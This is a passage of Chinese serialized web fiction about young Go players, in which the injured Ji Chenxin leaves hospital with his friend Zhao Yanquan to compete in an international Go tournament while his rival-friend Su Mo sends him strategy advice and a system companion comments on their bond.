苏陌捏着手机,指节微微泛白,他深深看着眼前人,“不行,我不放心。” “有什么不放心的,我本来一个人就能处理好,你过来才是给我添麻烦了!” “我希望看到你在赛场上发光发亮,而不是暗淡离场,所以请你务必一定要升上八段。” “不然我会瞧不起你的。” 纪辰新倚着墙壁,双手插兜,眼中带着真心实意的期盼,只一瞬又别开脸,“实在不行,就算我求你了。” 他说这话时,声音不自觉弱了下去,没脸看对面的人,怕被笑话。 然而对面的少年,喉间忽地传出一声轻笑,微挑眉骨,饶有兴致地道,“啊?你说什么?” “我没听清,你能再说一遍?” 纪辰新被他这么揶揄,一股恼意顿时冲了出来,“咚”地一声踢在了他的小腿上,然后咬牙切齿地道,“我说!我求你!行了吧!” 他这副恼羞成怒的样子,活像只被挠了尾巴尖的小猫,猛地瞪圆了眼睛,睫毛都竖了起来,张牙舞爪的,却只是看着凶。 苏陌望着他气呼呼的腮帮子,没忍住伸手往他脑袋上揉了揉,就像是安抚一般,语气温柔极了,“好啦,我答应你!”—— 作者有话说:[狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第65章 翌日清晨, 六点半。 苏陌匆匆忙忙赶到医院看了纪辰新一眼,便又马不停蹄打车去了机场。 那个时间点,纪辰新还在睡觉, 还是李春兰接待的他,给他塞了几个鸡蛋路上吃。 苏陌摆了摆手,“纪奶奶,我吃过早餐了,这些您就留着自己吃吧。” 李春兰生怕他路上饿着,执意要塞, 苏陌无奈接下了一个, “好, 一个,一个就够了。” “我得走了,不然赶不上飞机了。” “好好好, 你路上小心。” “对了, 比赛顺利, 这是小新昨晚特意嘱咐的!” 李春兰站在医院大门外目送他远去, 少年回头挥了挥手, 计程车在路边等待。 “嗯,知道了, 您回去吧!” * 纪辰新醒过来时已经八点半了, 他迷迷糊糊睁眼, 依稀记得苏陌今天要走,混沌的大脑瞬间愣了一下,转头瞥了眼外面的太阳,估算着时间 李春兰见他醒来,立即道, “小陌过来看过你了,你当时没醒,他这会儿估计都上飞机了。” 纪辰新没说话,拿起床侧的手机看了眼,半个小时前,有两条苏陌发过来的讯息。 【我登机了,大概中午到帝都,勿念。】 【律师九点会来医院跟你对接,他姓刘,叫刘杨,履历很丰富,放心用。】 纪辰新回复他,【好的,谢谢,祝一路顺风。】 刘律师果然守时,说是九点,但八点五十分的样子就找过来了。 刘杨穿着一件浅灰色的衬衫,领带颜色沉稳不跳脱,皮鞋锃亮无褶皱,举止投足间透着,“做事稳,能扛事”的熟稔感。 他手上带的腕表简约而不花哨,整体干净利落,见到纪辰新时微笑礼貌,“您好,纪先生。” 纪辰新躺在病床上,手上挂着点滴,点头致意了下,“嗯,您好!” 刘杨迅速进入了工作模式,将记录本拿了出来,坐在纪辰新床侧的凳子上,询问案发细节,以及合理诉求。 纪辰新一五一十全部回答了。 俩人这一聊,就聊了有一个小时。 李春兰给刘律师倒了水,洗了水果,事无巨细地询问他这个案子够纪知远判多久。 刘杨浅浅笑了下,“具体判多久,我还得去一趟江洲。” “听苏先生说,纪知远还有盗窃的罪状,我得去核实一下,到时候数罪并罚,可以判的久一点。” 盗窃? 纪辰新微挑了下眉,他倒是不知道肖椿居然连这个都跟苏陌讲了。 不过也好,江洲那边,那些街坊邻居没个主心骨,就算肖椿能将他们说服,但没有法律援助的话,程序都不知道如何走。 李春兰猛点头,“啊,是的是的,小新之前跟我说过,我都差点忘了,那确实得去一趟。” 刘杨将资料整理完后,看了眼手上的腕表,便提出了告辞。 临走前,他加了纪辰新的联系方式,方便沟通。 纪辰新忽然想起什么,问了句,“刘律师,你的律师费是多少?” 刘杨抬眼礼貌道,“这个您不用担心,苏先生已经给过了。” “具体,您可以问苏先生!” “我这边就先告辞了。” 见他这态度,纪辰新算是明白了,应该是苏陌特意交代过的,不能透露具体的费用。 这不知不觉中,他欠苏陌的好像越来越多了 刘律师一走,纪辰新又百无聊赖地开始训练围棋,距离世赛的第一轮,只有一个礼拜了,他得抓紧练习。 系统:【别担心,第一轮是初赛,不会很难,以你目前的棋力,对付他们绰绰有余。】 纪辰新一向谨慎,并不自大,【到时候还会碰到其他国家的选手,这都不好说的。】 系统:【比起这个,你还是好好养伤吧,到时候高强度的比赛,你撑不撑的住才是最重要的。】 纪辰新微微蹙了下眉,这倒是,他目前还不能出院,也不知道一个礼拜后,医生允不允许他出院。 “叮铃铃” 倏然,一阵手机铃声打断了他的思绪。 纪辰新拿起手机一看,居然是崔文和? 他倒没怎么思考,便接通了电话,“喂?” 崔文和的声音带了点着急,“纪辰新,你是不是出什么事了?” “昨天,苏陌弃赛的事,围棋圈几乎人尽皆知,我打听他直飞墨城的航班,墨城只有你在,所以你出什么事了?” “额我”纪辰新一时不知该如何回答,却也不想自己的家事被太多人知道,于是道,“一点小事罢了,已经解决了,他今天早上已经飞回去了。” 苏陌在围棋圈的地位,一直是首屈一指的存在,即便是崔文和这个长发棋公子,都比不上他的名气大。 所以,昨日他毫无预兆的弃赛,引起了剧烈反响,各方都在打听。 崔文和狐疑道,“是吗?” “当然了,我能有什么事,我要是有事,还能在这跟你说话?”纪辰新提着气,一派精神很好的模样,令人听不出错。 崔文和确实没听出来,但还是关心道,“第一轮世赛马上就要开始了,你准备的怎么样了?” “哈哈,还行吧,你呢?”纪辰新随意地问着。 崔文和轻笑了声,“我也还行,不过我这心里还是蛮忐忑的,之前你全国赛下的棋,我研究了一下,说实话,我是既期望跟你对上,又害怕跟你对上。” “万一你把我淘汰了怎么办,那我岂不是丢人丢大发了,第一轮都过不了。” 纪辰新被他逗笑了,“我哪有你说的那么厉害,我也可能输的。” “不会的,你的棋力在我之上。”崔文和异常笃定道。 这些时日,他一有时间就在研究纪辰新之前在他们奕星棋院下的那些棋,日日夜夜的盘,结果盘来盘去,自信心倒是被打击了不少。 他之前其实也盘过苏陌的棋,但受到的打击根本没有现在这么大,纪辰新与苏陌的棋风不同,但都有一个特点,那就是心思缜密,留有意想不到的后手,下一步想十步,甚至二十步,乃至三十步。 他有时候甚至觉得纪辰新的棋力或许在苏陌之上,当这个想法冒出时,他全身的鸡皮疙瘩都起来了。 纪辰新根本都没有系统的在棋院学习过,他就一个野生棋手,甚至刚刚职业初段 当然,他小的时候就知道纪辰新厉害,但这么多年过去,过去崇拜的人,如今居然变得更加高不可攀了。 一时间,他的内心的波涛汹涌,实在难以平复! 他年少时,曾被那局指导棋征服,并因此获得了许许多多的好处,这毫无疑问,都是纪辰新给予他的。 那些青葱岁月里,每每新一届的棋手指着教材上的棋局,对他发出惊叹与惊呼时,其实在无形之中,也是满足了他的虚荣心的。 他们这样的情况,全国仅此一例,就连苏陌这样的棋手,小时候也未必有如此殊荣。 却也因此,他将纪辰新这个名字,记了一年又一年。 当再次相遇,爱慕就此显现,他没想到长大了的纪辰新会那么,那么的帅,完全是gay圈天菜。 有时候他都不知道自己到底是年少的情感更多些,还是一见钟情更占据上风。 但不可否认的是,纪辰新这个人,是他对未来伴侣最为完美的诠释。 崔文和再次笃定道:“我觉得你比苏陌还厉害,你的棋力一定在他之上吧。” 纪辰新不知道他是为何这么笃定的,自己虽然赢过苏陌,却也不敢完全托大。 “怎么说呢,算旗鼓相当吧。” 他斟酌着用词,“每个人都在进步,没有一个人会原地踏步,苏陌更是。” “所以以后什么样,都说不准的。” 崔文和知道他谦虚,猜测道,“你既然这么说,那就让我猜一猜,你跟苏陌对弈过,还赢了?” 居然又让他说中,纪辰新都不知道说什么好了。 这时,护士拿着纱布和药进了病房,两天一次的换药时间到了。 纪辰新知道不能再聊下去了,不然就要露馅了,便跟崔文和说自己要忙了,改日再聊。 崔文和尽管不舍,但也知进退,“好,那等你忙完,一定要打给我噢?” “好,行,挂了哈!”纪辰新赶在护士开口前,挂断了电话。 护士小姐姐将药都配好,纱布上密密麻麻的铺了好几层,她先是帮纪辰新将原有的纱布解了下来。 纪辰新看着她操作,想起自己即将要参赛的事,便问了句,“请问,我还有多久可以出院?” “这个要看主治医生怎么说,你的吊瓶最少还要打一个礼拜,没这么快的。”护士小姐姐如实道,“像你这个深度的伤口,还是多住几天比较好,怕感染,怕炎症。” “而且你还得定期换药,促进伤口愈合。” 纪辰新不由蹙了眉,“那药要换多久呢,我可以带回家,自己换吗?” 护士小姐姐做不了主,为难道,“这个我得去问下主治医生,或者你等他中午过来查房时,亲自问问吧。” 纪辰新心里顿时嘎嘣一声,吊瓶最少还要吊一个礼拜,换药更是不知道要多久,他很大可能是出不了院了。 系统也急了,【不行啊,比赛绝对不能耽误!】 【当然啦,宿主,你的身体也重要,但我们唉】 系统快烦死了,【要不,等下你再问问主治医生?】 问肯定是要问的,这不,当主治医生,郑医生过来查房时,纪辰新就问了,但得到的回复跟护士小姐姐说的差不多。 不过郑医生还是更权威些,“具体看恢复情况,恢复的好,一个礼拜后出院是可以的。” “药也可以带回家换,但两个礼拜得复查一次。” “你先别急着出院,你现在最重要的是把伤养好,其他的都放一边。” 得到了医生的准确回复,纪辰新心里的乌云终于是消散了些,吃药时都变的更积极了,就等着一个礼拜后能顺利出院。 就在纪辰新以为接下来能好好歇歇时,又一通电话打了过来。 一经接通,赵言权的声音就冲破了天际,“纪辰新,你演古惑仔呢?看见刀都不躲的吗?” “你是真牛逼!” “你等着,我下午的飞机,看我收不收拾你就完了!” 纪辰新:“” 不待他说话,电话已经挂断,风风火火的,一如赵言权这个人一样。 下一秒电话又响起,还是这个人。 “苏陌说给你找了个护工,不准我帮你洗澡。” “噢,不对,是不准我帮你脱裤子,搞什么飞机啊,你们俩?” “!!!”突然被提起这个,纪辰新脸色顿时一阵红一阵白,简直羞愤难当,无语至极,“我们能搞什么?搞你行不行啊!” 赵言权猛地吓一大跳,下意识开启一键防护,“靠,那可不行,先申明,我不搞基的哈!” “”纪辰新霎时白眼一翻,直接气急攻心,“赵言权你脑子是被驴踢了吗?!”—— 作者有话说:哈哈哈[让我康康] 第66章 赵言权下飞机已经是下午六点了, 他过来的路上还买了水果和牛奶。 此时,纪辰新正在与苏陌给他找的护工洽谈。 护工是个五十来岁的中年男人,穿着一件洗的发蓝的浅灰色工装褂, 袖口卷到小臂中段,露出磨出薄茧的手腕,裤脚有些发皱,脚踩一双黑布鞋。 他说话时眼皮垂着,目光总落在手头的活上儿,就像给纪辰新腿脚按摩, 整个过程都既仔细又认真, 让人挑不出错。 苏陌的原话是:纪奶奶年纪大了, 从早到晚的让她一个人照顾,还要弄营养餐,会吃不消的。 不得不说, 他这话完全说在了纪辰新的心坎上, 连拒绝的理由都没有。 也不知道, 他远在帝都是怎么思考的这么周全, 还安排的如此妥当的? 纪辰新思来想去, 好像也只有钞能力能做到这点了。 正七点,赵言权提着水果和牛奶踏入了病房。 纪辰新正吃着奶奶做的鸡蛋羹, 津津有味, 看到来人, 立即放下了手中的勺子。 赵言权乐呵呵地走了进来,先是跟纪奶奶打了声招呼,将买的东西递了过去,然后才看向纪辰新。 他本想损两句的,但看到少年半陷在被褥里, 肩膀松垮垮垂着,显得没力气极了 赵言权那些损言损语,顿时全咽了下去,皱眉道,“怎么伤的这么重?” “纪辰新你瘦了好多啊,你那赌鬼爹跟恶魔有什么区别!” 他一边吐槽着,一边朝纪辰新走近。 李春兰接过了赵言权提过来的东西,不太赞同道,“小权啊,其实不用买东西的,你能来看小新就已经足够了。” 赵言权回头笑了笑,“那怎么行,我还嫌买少了呢,时间太紧迫了!” “肚子饿不饿?我奶奶听说你要来,特意做了你以前爱吃的红烧肉和排骨。” “喏,都在这了,快尝尝吧。”纪辰新指着另一个没动过的保温盒道。 赵言权的眼睛瞬间亮起,“哇,真的假的?” 他本以为这次来吃不到了,毕竟纪辰新都受伤了,没想到 “快吃吧,我都要馋死了,这段时间吃不了,只能看你吃了。”纪辰新再次端起自己的鸡蛋羹,小口吃着。 赵言权对李春兰表达了感谢,然后捧着保温盒大快朵颐起来。 他吃了几口就享受的眯起了眼,“纪奶奶,我发现你的手艺比以前更好了。” “你就哄我吧,你是太久没吃,才会这么觉得,要是经常吃,肯定就腻味了。”李春兰笑着道。 老太太也是很久没见过赵言权了,所以盯着看了好一会儿,“小权,你现在得有一米八了吧,看着跟我家小新差不多高呢。” 赵言权咬着排骨“蹭”地一下站了起来,“净身高确实是180,但是穿了鞋可以达到183。” 纪辰新:“” “咱俩一样高,别显眼包了,快坐下吃你的饭吧。” 赵言权嘿嘿一笑,又坐了下来,可能确实是饿了,他一个劲的埋头苦吃,话都讲的少了。 等他吃完饭,纪辰新才向他打听起苏陌的事来,“他这次弃赛影响大吗?” 赵言权擦了擦嘴,思索道,“怎么说呢,只要他剩下的比赛不出差错,就没什么影响。” “不过,他后面还有两轮复赛,这段时间估计会很忙。” 纪辰新点了下头,“那你呢,你这次怎么过来了,你爸放心?” “哇,看你这说的什么话,你都被人捅刀子了,我再不来像话吗,我这也是经过我爸同意的好吧。”赵言权无语道。 “我爸蛮担心你的,还让我这次过来务必要照顾好你。” 纪辰新狐疑地打趣道,“你照顾我?你确定?还是算了吧,我这个人很惜命的。” “切,你惜命?别搞笑了,你看看你胸口的纱布,这就是你惜命的结果!”赵言权嘴巴一张,得理不饶人,嘲讽出口,“也不知道现在躺在床上的人是谁。” 纪辰新又想翻白眼了,“我看你是特意过来气我的吧,医生说了让我静养,你快别说话了!” 俩人突然就斗起嘴来了,李春兰都看懵了,还以为俩人在吵架,赶紧劝,“小新,你怎么说话的,小权大老远来看你,不能不懂礼貌哈!” 纪辰新还没说话,赵言权立马抽了下自己的嘴,“哎呀,我就是欠的,都别放心上啊。” 他一连抽了自己嘴好几下,惹的纪辰新直发笑,“好啦,你别搞抽象了行吗?别把我奶奶吓着了。” “哈哈哈哈,纪奶奶,这是我俩的日常相处模式,您别在意。”赵言权也跟着笑起来。 纪辰新看着他带过来的背包,单挑了下眉,“准备在这边呆几天?” 赵言权没什么计划,“四五天?五六天?不知道。” “我一个礼拜后会要去C市参加第一轮世赛,你要不要和我一起去?”纪辰新说出自己的规划。 闻言,李春兰脸色都变了,“一个礼拜后?小新你的伤” 纪辰新立即安抚道:“奶奶,没事的,医生不是说了吗,一个礼拜后我就可以出院了。” “我可记得清清楚楚,医生说恢复的好才能出院,你别想蒙我!”老太太有自己的坚持。 赵言权沉思了一会儿才开口,“世赛吗?那还是蛮重要的,纪奶奶你怕是拦不住他。” “不过,没关系咯,纪辰新肯定能恢复好的!” “咱一切都得往好的方面想,您说是不是?” * 有了赵言权的陪伴,纪辰新在医院的日子总算没那么无聊了。 俩人日常斗嘴,聊天,有时候还会一起下棋,用赵言权的话来讲,“好久没过过这么快活的日子了,无忧无虑,最重要的是还没人管!” 短短几天的时间,江洲那边也传来了好消息。 巷子里的人都愿意配合,刘律师的工作进展的事半功倍,很快就将所有证据整理完成,并与纪辰新达成了共识。 刘律师在电话里是这么说的,“他偷盗的数额比想象中要大,所以不止判一两年那么简单,或许能判到三年以上。” “再加上他对你的伤害,构成故意杀人罪,情节严重,十年以上不成问题。” 纪辰新弯了下嘴角,“嗯,刘律师你放心去做,接下来还需要做什么,我都会全力配合。” “这两个案子就拜托你了!” 刘律师说话春风和睦,“纪先生客气了,为客户分忧,是我的职责所在。” * 时间终究是来到了世赛的前一天,纪辰新表示他一分一秒都呆不下去了,打算无论无何,今天都要出院。 他才不管主治医生说什么,亦或是奶奶要如何阻拦,他今天必须走! 赵言权跟他站在了统一的战线上,甚至帮他制定了计划逃出医院。 然而,最终计划还是没能实施,主治医生在最后关头松了口,“你要出院也行,但千万记住,伤口不能碰水。” “目前恢复的挺好,不能做剧烈运动,一定要静养,在家多躺。” “药每天都要记得吃,纱布换药依旧是两天一次。” “还有记得定期回来复查。” “” 终于,纪辰新如愿以偿的出了院。 由于明天就要比赛,他是一刻也不敢耽搁,包了车直接前往C市。 李春兰一开始是怎么都不肯的,好在赵言权再三保证,“纪奶奶,你就放心吧,有我在,我一定会照顾好他的。” “难道您还不放心我吗?” 老太太瞅他一眼,更放心不下了。 不过现下也没有更好的选择了,小新执意要去比赛,她根本拦不住。 “好啦,我们走吧,不然过去太晚了。”纪辰新撂下这句话,便上了车。 赵言权提着大包小包跟在他后边也上了车,没一会儿又降下车窗对着老太太挥了挥手,“我们大后天就回了,您回去吧。” 纪辰新也从车窗探出头来,“就比两天,很快的,奶奶我们走了哈。” 老太太担忧道,“小新,要是比赛过程中感觉不舒服,咱就不比了,听到没?输赢没那么重要。” “嗯嗯,晓得了。” “师傅,出发吧。” 纪辰新话刚落,车便瞬间启动,逐渐消失在路口尽头。 路上,纪辰新背靠在座椅,蹙着眉头微眯着。 赵言权一会儿玩玩手机,一会儿又提醒司机,“司机大哥,你开稳一点,我兄弟受了伤,受不了颠簸,你别把他伤口颠裂了。” 司机被提醒了几次后,终于控制了车速,方向盘也没之前那么飘了。 俩人是在晚上八点到达酒店的,一共坐了五六个小时车。 下车的时候,脑袋都晕乎乎的,赵言权没忘搀扶着纪辰新这个病患,“感觉怎么样,还行吗?” 纪辰新浅浅扯了下唇,“没事,走吧。” 酒店是赛方安排的,每个选手一个独立的房间,此次世赛由中日韩三国选手组成,各有12名选手参赛,共计36人。 世赛第一轮是通过分组单循环+淘汰赛决出八强。 崔文和早就提前一天抵达了酒店,从昨天起就在联系纪辰新,问他什么时候到。 纪辰新一直含糊其辞地说自己有事还在忙,直到此时此刻才敢回复一句,“大概要晚上十一点了吧,你别等我了,明天赛场见!” 赵言权看着他回复,忍不住地吐槽,“怎么又是这家伙,真是阴魂不散。” “你不告诉他是对的,省的他过来嘘寒问暖,平白让人起一身鸡皮疙瘩。” 听到这描述,纪辰新好笑道,“你有这么讨厌他吗?也太夸张了吧。” 赵言权张了张唇,有些欲言又止,“你就是天真,你觉得他这么关心你是为什么?” “什么?”纪辰新纳闷又困惑地看着他,“我怎么就天真了。” 赵言权注视了他好一会儿,最终还是于心不忍,摆了摆手道,“算了,你不知道也好,免得做噩梦,导致你比赛发挥失常,那就得不偿失了。” 说完,他背着包裹就往前走了。 “什么啊,搞这么神秘”纪辰新真是服了他,“你现在怎么变的神神叨叨的?” 赵言权突然猛地一回头,直愣愣地瞪着他,“我怕我说出来吓死你!”—— 作者有话说:纪辰新:“”老实说,你现在就挺吓人的[裂开] 第67章 “嘭”地一声, 纪辰新一巴掌拍他脑袋上,“你知道你现在像什么吗?” “像什么?”赵言权眼睛圆溜溜地绷得溜直,连眨都不眨一下。 纪辰新上上下下打量着他, 认真道,“特别像一只突然被捏住脖子的小公鸡。” “鸡?” “你居然说我像鸡?” “纪辰新,你到底哪只眼睛看我像鸡了?” “侮辱,这绝对是赤裸裸的侮辱!” 赵言权抓狂地瞪大双眼,然而这在纪辰新眼里更像只小鸡仔了。 纪辰新憋着笑,“你可不可以不要这样看着我了, 我真的会忍不住笑的。” “啊啊啊啊, 不行, 我在你心里的形象就是这样的吗?”赵言权简直崩溃。 纪辰新咳了两下,“没事啦,你即便是小鸡仔也是帅气的小鸡仔。” “你才小鸡仔, 老子是顶天立地的男子汉!”赵言权自闭地丢下这句话, 转身就走了。 他完全忘记最开始要和纪辰新说什么来着, 一心琢磨着如何将自己形象挽回! 纪辰新看着他的背影, 安慰道, “好啦,你不像小鸡仔, 你像小金鱼好不好?或者小刺猬?小灯笼?” 赵言权无语地回头, “我就不能像个人吗?” “扑哧!”纪辰新终于憋不住笑了出来, 结果一笑伤口都扯疼了,“嘶” 听到身后的动静,赵言权没好气地又回来搀扶他,“看你是个病患的份上,放你一马, 不跟你计较。” “行行行,为了表示我对你的亏欠,你在这边的吃住行,我都包了。”纪辰新大方道。 “切,谁稀罕啊,老子自个儿有钱,你那三瓜两枣就留着自己用吧。”赵言权眉飞色舞,得意洋洋道。 纪辰新挑了下眉,“你确定?错过这个村可就没这个店了哈。” “走啦走啦,少磨磨唧唧的。”赵言权扯着他往前走,“你累不累啊。” 两人吵吵闹闹终于去了前台,办理了入住,并多开了一间房。 纪辰新强硬地付了款,赵言权到底是没抢赢。 俩人的房间离的有些远,赵言权帮他把行李拿过去后,便准备出去给他买些吃的东西。 纪辰新拦住了他,“一起去吧。” “你的状况不宜太劳累,还是留在房间等我比较好。”赵言权答应了纪奶奶要照顾好人,坚决地负起责任来。 纪辰新也很坚定,“我主要是想去看下赛场,明天就比赛了,提前去熟悉一下。” 赵言权蹙了眉,“这么晚应该已经关门了吧。” “没有,C市会议中心,一直是九点闭馆。”纪辰新早就做好了攻略,“走吧,现在还有时间,不远,离这就六七百米远。” 既如此,赵言权也没什么好说的了,一路搀扶着他走过去。 十分钟不到的路程,俩人抵达目的地时才八点半的样子。 宏大的建筑,里面灯火通明,就如纪辰新说的那样,此刻还未闭馆。 这是一座低奢现代,重实用与辨识度的大厦,外墙用大面积的米白石材以及玻璃幕墙砌成。 建筑入口做了挑高设计,门口摆着几盆高度齐腰的绿植,既不抢戏又柔化了建筑的硬朗,地面铺着防滑的浅灰色地砖,偶尔嵌几条深色线条划分区域,方便人群集散。 纪辰新与赵言权因为赶时间并未在外多逗留,迅速踏入了建筑内部。 大厅里,头顶光线充足,大型吸顶灯把大厅照的亮堂又不局促,墙面挂着几幅简约的装饰画。 大厅旁边是功能分区通道,指引牌做的清晰又直白,世赛围棋场箭头指向3楼,根本不用费劲找路。 厅内配有电梯,纪辰新与赵言权默契对视一眼后,便乘坐电梯去了3楼。 3楼的厅和一楼一样大,顶部装着嵌入式筒灯,光线均匀地打在棋桌和棋盘上,不晃眼,地面铺着浅灰色地毯,走路几乎没声音。 入口处挂着比赛信息牌分中日韩三国语言展示,方便各国棋手知晓信息与阅读。 场地中间的棋桌都是深色实木,每桌的间距都很远,整体简约不冗余,没有什么花里胡哨的装饰。 角落里留有休息区,摆着浅灰色的布艺沙发和小圆桌,桌上的矿泉水和纸巾都已经安排就位。 纪辰新匆匆打量了几眼,都没转几圈,就被工作人员提醒即将闭馆,不能再继续参观。 赵言权拿出手机拍了几张照片,“好了,咱出去吧,去吃饭,我等下将照片发给你,咱一边吃饭,一边慢慢看。” 纪辰新点了点头,并无异议。 俩人出会议中心时才八点五十,附近吃饭花了半小时,由于纪辰新目前饮食不能吃的太荤腥与辛辣,于是只简简单单喝了碗粥,赵言权倒是直接干了三大碗饭。 等吃饱喝足,慢慢散步回到酒店时,将近十点。 赵言权哈欠连天,也不忘履行自己的职责,“我得盯着你把药吃了。” 纪辰新摇了摇头,赶他走,“行了,你快回去睡觉吧,明天早上我比赛会起的很早,你不用跟我一起。” “啊,这不好吧。”赵言权继续打着哈欠,“我怎么能让你一个人呢,你可是个病患啊。” “病患怎么了,你陪我去了又能干嘛,坐那干等啊?” “中午见面就行,我记得赛场包餐,参赛选手可以带一名亲友,你到点过来,咱不吃白不吃。” 纪辰新给他做好了安排,“让你早上睡到自然醒还不好吗?” 赵言权被他说的很是心动,主要是睡到自然醒这点,根本禁不住诱惑! “那好吧,中午我过来找你。” 事情说定后,两人各自回了房间,赵言权也没再继续吵着要抓纪辰新吃药的事了,这一天下来,着实是给他累惨了。 纪辰新这几天恢复的还不错,稍微弓着腰的动作也能做了,于是他花了半个小时的时间脱裤子、洗澡、穿裤子。 这过程虽然有点漫长,但起码不用再麻烦别人了,成就感油然而生。 等他洗完澡出来,躺在床上时,倏然收到了苏陌发过来的消息- 【睡了吗?】 纪辰新打了个哈欠,【准备睡了。】- 【伤怎么样了,C市适应吗?】 【还行,赵言权帮了我很多,你呢?】- 【我一切都好,刚参加完一个庆功宴,你明天世赛紧张吗?】 【不紧张。】- 【嗯,不紧张就好,日韩选手普遍存在围棋风格、技术特点和训练体系等方面的差异。】- 【你的综合能力很强,但面对他们时还是要进行针对性的拆解。】- 【例如,韩国选手通常以积极主动的进攻和强大的中盘战斗力】- 【】 时间一分一秒过去,纪辰新看着满屏的文字,苏陌依旧在源源不断地给他讲解日韩两国选手的特点,以及应对方法。 看这架势,他怕是要将自己所知道的所有信息,以及过去积累的全部经验都全盘托出。 纪辰新揉了揉眼,边看边记,这些知识点,可以说花钱买都买不到,现在居然被苏陌免费教学了? 这朋友交的未免也太值了吧! 纪辰新心里是既惊又喜,同时脑子也开始高速运转,以前只有考前抱佛脚的时候才会如此高强度的学习。 苏陌打完最后一个字时,时间已经来到了十一点- 【以上都是我这些年去国外特训总结出来的,希望能对你的比赛有帮助。】- 【时候不早了,我就不打扰你了,你尽量花五到十分钟记一下。】 纪辰新正在记,分出神回复道,【嗯嗯,谢啦,你也早点休息,晚安啦!】- 【晚安。】 纪辰新记的过程,同时在脑海里演练,不知不觉间半个小时就过去了。 等他将所有的知识点记下并摸索成功,系统才冒了出来。 系统语气怪异:【我发现男主对你还真不错,居然将压箱底的经验都告诉你了。】 纪辰新熄了灯,闭上眼睛回复道,【朋友之间不就是这样吗?】 系统疑惑:【是吗?那你将心比心,你能对他如此吗?】 这问题问的纪辰新瞬间醒了神,他好像确实做不到这样,毕竟他与苏陌既是朋友关系,也是竞争关系。 苏陌是他的任务对象,他必须要打败他,怎么可能将经验全盘托出,毫无保留? 但造成这一切的到底是谁啊? 【系统,你还好意思说?这不都是你一手促成的吗?】 【你现在是什么意思?难道要求我对他毫无保留?】 系统急忙解释,【不不不,宿主你别激动,我只是有点迷茫,转不过弯而已,所以才想着问你呢。】 纪辰新蹙眉,嘲讽,【你居然还有转不过弯来的时候?】 系统叹息了一声:【当然有,原著《围棋圣手》里,男主苏陌一直都没有朋友的,但由于你的出现,你们俩居然成为了朋友?!】 【尽管如此,难道你不觉得有时候他对你真的好的太过分了吗?】 【他明明是一个性格冷淡的人,不应该这样的。】 【难道是因为你的棋力在他之上?】 【不对,若真是这样,他应该更加充满斗志,想要赶超你才对呀。】 【为什么会将所有经验毫无保留地告诉你呢?】 【这真的很奇怪啊!】 【到底是因为什么呢?】 【朋友?】 【就只是朋友这么简单吗?】 【他真的只把你当朋友吗?】 【我怎么觉得不太对劲呢。】 【宿主,你觉得呢?】 【宿主?】 【宿主???!】 纪辰新没有任何反应,他闭着眼,早已进入深度睡眠,不知世事了。 系统暗自揣测着,甚至嗅到了点异样的苗头,无奈摊手道,【宿主,这可是你要跟他当朋友的,别怪我没提醒你噢】 然而回应它的,是纪辰新轻浅的呼吸,以及沉静的睡颜。 少年英拔奇才,却钝慧痴绝,情窦难开! 第68章 翌日清晨七点, 纪辰新准时醒来,他粗略地收拾一番后,便去了2楼餐厅吃早餐。 酒店一楼大堂, 长发少年姿态清绝,侧坐在沙发边缘,一条腿微屈,另一条腿自然垂直,他穿着低领衬衫,目光似有若无地扫过大堂经过的所有人。 直到纪辰新的身影出现, 他的眼眸才焕发光彩, 只见他长眉轻佻, 对着纪辰新挥了挥手,“嗨~这里。” 纪辰新听到声音,蓦地看过去, 只见崔文和弯着眉眼, 起身朝他走了过来。 长发少年肩背挺的很直, 额前碎发随着动作轻扬, 垂在肩后的长发未束, 发尾扫过衬衫后腰,几缕贴在颈侧, 露出线条干净的下颌。 他抬手拢了拢耳边的乱发, 姿态清爽地站到了纪辰新跟前, “总算是等到你了。” 纪辰新不知为何每次看到崔文和都会有那么一瞬把他当成女生的错觉,他的美并不柔,是带有英气的那种美。 雌雄莫辨这个词或许就是为他量身定制的吧。 “你等我干嘛?”纪辰新眼尾微垂,睫羽长而密,在眼下投出浅淡的阴影, 昨晚还是睡的有点晚了。 崔文和打量着他,“怎么感觉你脸色苍白,没有什么气色?” 受这么重的伤,现在还能装的像个没事人一样地直立行走已经算不错了。 当然,纪辰新没选择说实话,只是淡淡扯了下嘴角,继续昨天扯的谎,“昨晚过来太晚了,没睡好吧。” “噢,好吧,没事,你这样也很好看。”崔文和狭长眉眼暖盈盈地看着他。 纪辰新微愣,“啊,谢谢夸奖?” “哈哈,你好呆噢。”崔文和伸手缠绕了下胸口垂着的发丝,“走吧,我们一起去赛场。” “九点比赛,现在得过去了。” 纪辰新点头,“嗯,好。” 说罢,俩人便一起出发了,这个路程并不远,纪辰新昨晚就已经去过了。 崔文和也早就去看过赛场了,但他怕纪辰新没来得及看,便给他讲解,“比赛场地在3楼,有指引的,不用担心。” “这次的场地相较于其他比赛会更大点,毕竟是国际赛事。巡回裁判的数量也更多,几乎每桌一个。” “” 七点五十分,俩人抵达了会议中心。 此时此刻,一楼大厅已经汇聚了不少人。 日韩选手虽然都是亚裔面孔,但从穿着和发型还是能看出不同。 “哈喽!”倏然有人加入了他们,纪辰新定睛一看,这不是章林杰吗? 上次选拔赛和他一起出线的选手。 章林杰也刚来没多久,他跟别人都不熟,之前在酒店大堂看到崔文和都没敢上去打招呼,直到现在看到纪辰新,这才有了勇气。 “纪辰新,棋公子,你们好呀!”章林杰笑的憨憨的,他站在崔文和面前莫名有些局促。 纪辰新回应他,“你什么时候到的?” “就刚刚,噢昨天下午就来了,今天的话,也就刚刚才到。”他语无伦次地解释着,看着有些紧张,眼睛时不时的瞥向崔文和。 崔文和却没看他,他整个人静静地,指尖捏着发梢转了半圈,随后睨着纪辰新,“我们先去签到吧。” “好,可以,你报道了没,要不要和我们一起?”临走前,纪辰新还问了一嘴章林杰。 章林杰已经签完到了,但不妨碍他献殷勤,“我知道在哪,我带你们过去吧。” 这要带什么?纪辰新看着地上这么大的箭头标,一脸莫名其妙。 但最后三人还是一道去了签到处。 八点半的样子,所有选手均已到齐,三楼直接封场,禁止不相关人员随意出入。 主裁判公布规则时,旁边还有两个翻译,一个翻译韩文,一个翻译日文。 崔文和小声道,“还好这届世赛我们拿到了主办权,不然比个赛还得出国,国外不管是住宿还是饮食,总归都没有国内舒服的。” “而且,主办国占据规则优势,谁主办赛事,就用谁的规则,不过也就是数子法和数目法的区别,像我们的规则黑棋先手,贴三又四分之三子,大概就是7.5目,日韩就少一目,只有6目半。” “反正总体来说,能在自己国家参加比赛,肯定是更好的。” 这点纪辰新倒也认同,只能说他们的运气普遍还行,最起码不用去学新的规则了。 